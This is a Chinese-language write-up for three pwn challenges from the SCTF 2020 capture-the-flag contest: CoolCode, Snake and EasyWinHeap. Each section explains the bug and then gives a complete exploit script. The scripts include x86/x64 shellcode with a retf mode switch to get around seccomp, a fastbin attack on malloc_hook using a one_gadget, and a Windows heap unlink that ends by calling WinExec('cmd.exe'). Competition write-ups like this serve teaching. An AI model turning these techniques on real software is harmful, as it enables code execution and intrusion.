[SCTF 2020] SCTF2020 PWN部分write up
解题思路综合了wp和比赛时的思路,做了一点简化
CoolCode
这题一开始粗心了,没看见有个逻辑漏洞导致可以绕过可见字符判断,但是在这种情况下sad师傅还是吧shellcode构造出来了,实属牛批…..
分析
- add功能在bss段保存堆指针,但是没限制index可以为负数,导致可以覆盖got表为堆指针
- add功能在读取输入的时候会用一个函数检查输入中是否包含了非数字和大写字母内容,如果有则调用exit结束程序。但是这个函数存在一个逻辑漏洞,当输入长度为1时,for循环不会进入,导致存在1字节的无效过滤。
- 只要覆盖free_got到堆上,并写入ret指令对应的字节b"\xc3″,就可以在exit时返回继续执行,绕过检查。(虽然绕过了检查,但是由于程序使用strncpy拷贝内容,还要注意\x00截断问题)
if ( (unsigned int)filter_input((__int64)s, num) )// 限制输入内容
{
puts("read error.");
exit(1);
}
signed __int64 __fastcall filter_input(__int64 buf, int len)
{
int i; // [rsp+14h] [rbp-8h]
for ( i = 0; i < len - 1; ++i )
{
if ( (*(_BYTE *)(i + buf) <= 47 || *(_BYTE *)(i + buf) > 57)// 0~9
&& (*(_BYTE *)(i + buf) <= 64 || *(_BYTE *)(i + buf) > 90) )// 大写字母
{
return 1LL; // error
}
}
return 0LL;
}
- 堆上有执行权限,可以考虑构造read调用把shellcode读到write_got指向的堆上执行(只要加好偏移,执行完read调用后就会立刻执行shellcode)
- 程序开启了seccomp保护,只剩下部分系统调用号,其中fstat刚好对应32位下的open,于是想到在shellcode中可以使用retf切换到32位打开“./flag"再回到64位read&write。(这里是难点,retf通过pop ip和pop cs改变程序位数,要注意retf在构造栈时需要按照32位栈来构造)
- 最后从返回中读取flag即可
EXP
from pwn import *
p=process("./coolcode")
context.log_level = "debug"
#p=remote("39.107.119.192",9999)
def add(index,content):
p.recvuntil(b"Your choice :")
p.sendline(b"1")
p.recvuntil(b"Index: ")
p.sendline(str(index).encode())
p.recvuntil(b"messages: ")
p.send(content)
def show(index):
p.recvuntil(b"Your choice :")
p.sendline(b"2")
p.recvuntil(b"Index: ")
p.sendline(str(index).encode())
def delete(index):
p.recvuntil(b"Your choice :")
p.sendline(b"3")
p.recvuntil(b"Index: ")
p.sendline(str(index).encode())
def exp():
#gdb.attach(p,"b *0x400E61\nc\n")
# no \x00
read_shellcode = '''
xor rdi, rdi;
sub rsi, 0x30
mov rdx, rsi;
xor rax, rax;
syscall;
'''
read_shellcode = asm(read_shellcode, arch="amd64")
add(-22, "\xc3") # exit_got->ret
add(-34, read_shellcode) # write_got
add(0, "CCCCCCCC")
show(0)
shellcode = ""
a = '''
add rcx, 19;
mov rbx, 0x23
SHL rbx, 32;
add rcx, rbx;
push rcx;
retf
mov esp, edx
'''
shellcode += asm(a,arch="amd64");
b = '''
mov eax, 5;
push 0x00006761;
push 0x6c662f2e;
mov ebx, esp;
mov ecx, 0;
int 0x80;
add edx, 0x43;
push 0x33
push edx
retf
'''
shellcode += asm(b,arch="i386");
c = '''
mov rdi, rax;
mov rsi, 0x602100;
mov rdx, 0x40;
mov rax, 0;
syscall;
mov rdi, 1;
mov rsi, 0x602100;
mov rdx, 0x40;
mov rax, 1;
syscall;
'''
shellcode += asm(c,arch="amd64");
p.sendline("\x90"*0xe+shellcode)
show(0)
p.interactive()
if __name__ == "__main__":
exp()
Snake
是个趣味题,思路不难,关键是io量太大了,容易卡住…
分析
- 程序是个贪吃蛇游戏,游戏地图和玩家姓名保存在堆上。假如游戏死亡,会根据死亡位置让你留下一段信息,这段信息写在存着地图的堆块上。经过测试,只要在右下角死亡,就会存在off_by_one,可以修改下一堆块的prev_size和size的低字节。
- 由于保存姓名的堆块大小有限制,不能为unsorted_bin,于是通过off_by_one的修改出一个unsorted_bin,同时构造一个overlapping。
- 泄露出unsorted_arena计算出libc_base,并利用overlapping修改其中fast_chunk的指针,把堆块分配到malloc_hook。
- 最后往malloc多试几个one_gadget就可以getshell了
- 要注意,在写脚本的时候,recv()一次游戏只会刷新一帧,需要写一个while循环send(“s”)方向键直到出现死亡信息。
EXP
from pwn import *
import time
p = process("./snake")
context.log_level = "debug"
#p = remote("39.107.244.116",9999)
def add(index,length,name):
p.recvuntil(b"4.start name\n")
p.sendline(b"1")
p.recvuntil(b"index?\n")
p.sendline(str(index).encode())
p.recvuntil(b"how long?\n")
p.sendline(str(length).encode())
p.recvuntil(b"name?\n")
p.sendline(name)
def delete(index):
p.recvuntil(b"4.start name\n")
p.sendline(b"2")
p.recvuntil(b"index?\n")
p.sendline(str(index).encode())
def get(index):
p.recvuntil(b"4.start name\n")
p.sendline(b"3")
p.recvuntil(b"index?\n")
p.sendline(str(index).encode())
def start():
p.recvuntil(b"4.start name\n")
p.sendline(b"4")
def play2die():
while(1):
ret = p.recv()
if b"please leave words:\n" in ret:
break
else:
p.send("s")
time.sleep(0.6)
def exp():
p.recvuntil(b"how long?\n")
p.sendline(b"96")
p.recvuntil(b"input name\n")
list_start = 0x603140 #name_ptr_list
name = b"A"*8
p.sendline(name)
play2die()
words = b"123123"
p.sendline(words)
p.recvuntil(b"if you want to exit?\n")
p.sendline(b"n")
add(1,0x60,b"BBBBBBBB")
add(2,0x20,p64(0xf0)+p64(0x21))
start()
play2die()
words = b"A"*(4+0x40) + b"B"*8 + b"\xf1"
p.send(words)
p.recvuntil(b"if you want to exit?\n")
p.sendline(b"n")
delete(0)
delete(1)
start()
p.recv(13)
unsorted_arena = u64(p.recv(6).ljust(8,b"\x00"))
libc_base = unsorted_arena - 0x3C4B20 - 0x58
fake_chunk_start = libc_base + 0x3C4AED
one_gadget = libc_base + 0xf1147
malloc_hook = libc_base + 0x3c4b10
print("unsorted_arena",hex(unsorted_arena))
print("libc_base",hex(libc_base))
print("fake_chunk_start",hex(fake_chunk_start))
print("one_gadget",hex(one_gadget))
print("malloc_hook",hex(malloc_hook))
play2die()
words = b"123123"
p.sendline(words)
p.recvuntil(b"if you want to exit?\n")
p.sendline(b"n")
add(0,0x50,b"AAAAAAAA")
add(1,0x20,p64(0)+p64(0x71)+p64(fake_chunk_start))
add(3,0x60,b"DDDDDDDD")
add(4,0x60,b"A"*0x13+p64(one_gadget))
print("one_gadget",hex(one_gadget))
print("malloc_hook",hex(malloc_hook))
p.recvuntil(b"4.start name\n")
p.sendline(b"1")
p.recvuntil(b"index?\n")
p.sendline(str(5).encode())
p.recvuntil(b"how long?\n")
p.sendline(str(16).encode())
p.interactive()
if __name__ == "__main__":
exp()
EasyWinHeap
这题比赛的时候没做…比赛结束后搭建了好久的winpwn环境,然后向sad学习了一下windbg的调试。
关于windows的很多机制,之前没了解过,大部分来自于网上一点点的资料,还有《程序员的自我修养》。所以讲不了很详细,如果哪位师傅有详细的win堆管理机制学习资料劳烦嫖一份~
分析
程序逻辑不复杂,甚至存在很多漏洞
- alloc的时候将将
puts函数指针 | ((size>>4)+1)
之后和堆指针
一起放置在堆上。然后在show的时候通过&0xFFFFFFF0
运算还原函数指针,然后puts堆上内容。(其实调试的时候发现函数指针最低位的变化不用考虑,应该只是做混淆)
附:堆上指针保存位置
0:004> dd 0x1270490 0x1270600
01270490 b1dc07df 080013cd 00011048
01270520 012704a0 00011048 01270530
00011048 01270540 012704b0 00011048
01270550 00011048 01270560 012704c0
00011048 01270570 00000000 00000000
- alloc的size并不是输入的size,而是之前的
(size>>4)+1
,但是edit的时候却是按照size长度来输入。明显存在堆溢出。 - 考虑修改堆上的puts指针为system或winexev的指针,然后把堆内容写"cmd.exe"作为参数(在我的系统版本,system地址包含了\x0a,导致输入会被破坏,于是只能使用winexec)。而winexev在kernel32中,和HeapFree一样,于是需要先泄露HeapFree的地址来计算偏移。既然要泄露HeapFree地址,就要把堆上保存的堆指针覆盖为HeapFree的iat地址。既然需要控制堆上指针,就需要构造unlink(win下的unlink与Linux稍有不同,主要是fd和bk都指向用户可控区域)。
附:堆结构
01270510 00000000 00000000 a2dc07cc
0800134e 01270520 012700c0 012700c0
a2dc07cc 0800135d 01270530 012700c0
012700c0 a3dd07cc 0000135d 01270540
01270580 01270560 a2dc07cc 0800135d
01270550 012700c0 012700c0 a3dd07cc
0000135d 01270560 01270540 012700c0
a2dc07cc 0800135d 01270570 012700c0
012700c0 efdd0483 0000135d 01270580
012700c0 01270540 00000000 00000000
01270590 00000000 00000000 00000000
00000000
- unlink构造完后就可以达成任意读写,这时只需要泄露出puts指针,计算出image_base,就衔接上了第三点的逻辑。
- 需要注意的是,由于edit输入后,末尾会存在00截断,导致破坏堆上原有内容,所以需要合理安排堆布局,并通过泄露部分内容以便在输入时顺便修补(详见EXP)。
EXP
from winpwn import *
context.arch='i386'
#context.log_level='debug'
context.windbg="C:\\Program Files\\WindowsApps\\Microsoft.WinDbg_1.2001.2001.0_neutral__8wekyb3d8bbwe\\DbgX.Shell.exe"
p=process("./EasyWinHeap.exe")
#windbg.attach(p)
def add(size):
p.recvuntil("option >")
p.sendline("1")
p.sendline(str(size))
def free(index):
p.recvuntil("option >")
p.sendline("2")
p.recvuntil("index >")
p.sendline(str(index))
def show(index):
p.recvuntil("option >")
p.sendline("3")
p.recvuntil("index >")
p.sendline(str(index))
def edit(index,content):
p.recvuntil("option >")
p.sendline("4")
p.recvuntil("index >")
p.sendline(str(index))
p.recvuntil("content >")
p.sendline(content)
add(0x70) #idx0
add(0x70) #idx1
add(0x70) #idx2
add(0x70) #idx3
add(0x70) #idx4
add(0x70) #idx5
#windbg.attach(p)
free(2)
free(4)
#windbg.attach(p)
show(2) #过滤换行
p.recvuntil("\r\n")
ret = p.recvuntil("\r\n")
print("len(ret):",len(ret))
heap_base = u32(ret[:4]) - 0x580
idx2pptr = heap_base + 0x4a0 + 0x4*3 #0x4ac
print("heap_base:", hex(heap_base)) #泄露堆地址
print("idx2pptr:", hex(idx2pptr))
#伪造指针
#这里的ret[8:12]就是上一步额外泄露的内容,目的是修补堆块
edit(2, p32(idx2pptr-0x4)+p32(idx2pptr)+ret[8:12])
#windbg.attach(p)
#dd 0x1270490 0x1270600
#unlink
free(1)
#leak image_base & winexec/system
edit(2, p32(idx2pptr+0x10))
#windbg.attach(p)
show(2)
p.recvuntil("\r\n") #过滤换行
p.recv(4)
image_leak = u32(p.recv(3).ljust(4,"\x00"))
image_base = image_leak - 0x1048
idata_heapfree = image_base + 0x2004
print("image_leak:", hex(image_leak))
print("image_base:", hex(image_base))
print("idata_heapfree:", hex(idata_heapfree))
edit(2, p32(idata_heapfree))
#windbg.attach(p)
show(4)
p.recvuntil("\r\n") #过滤换行
heapfree = u32(p.recv(4))
winexec = heapfree - 0x11D10 + 0x5EA90
print("puts:", hex(heapfree))
print("winexec:", hex(winexec))
edit(3, "cmd.exe")
edit(2, p32(idx2pptr+0x4))
edit(4, p32(winexec)+p32(heap_base+0x550))
#windbg.attach(p)
p.recvuntil("option >")
p.sendline("3")
p.interactive()
注意该exp对堆地址字节数有限制(4字节),所以有时要多跑几遍。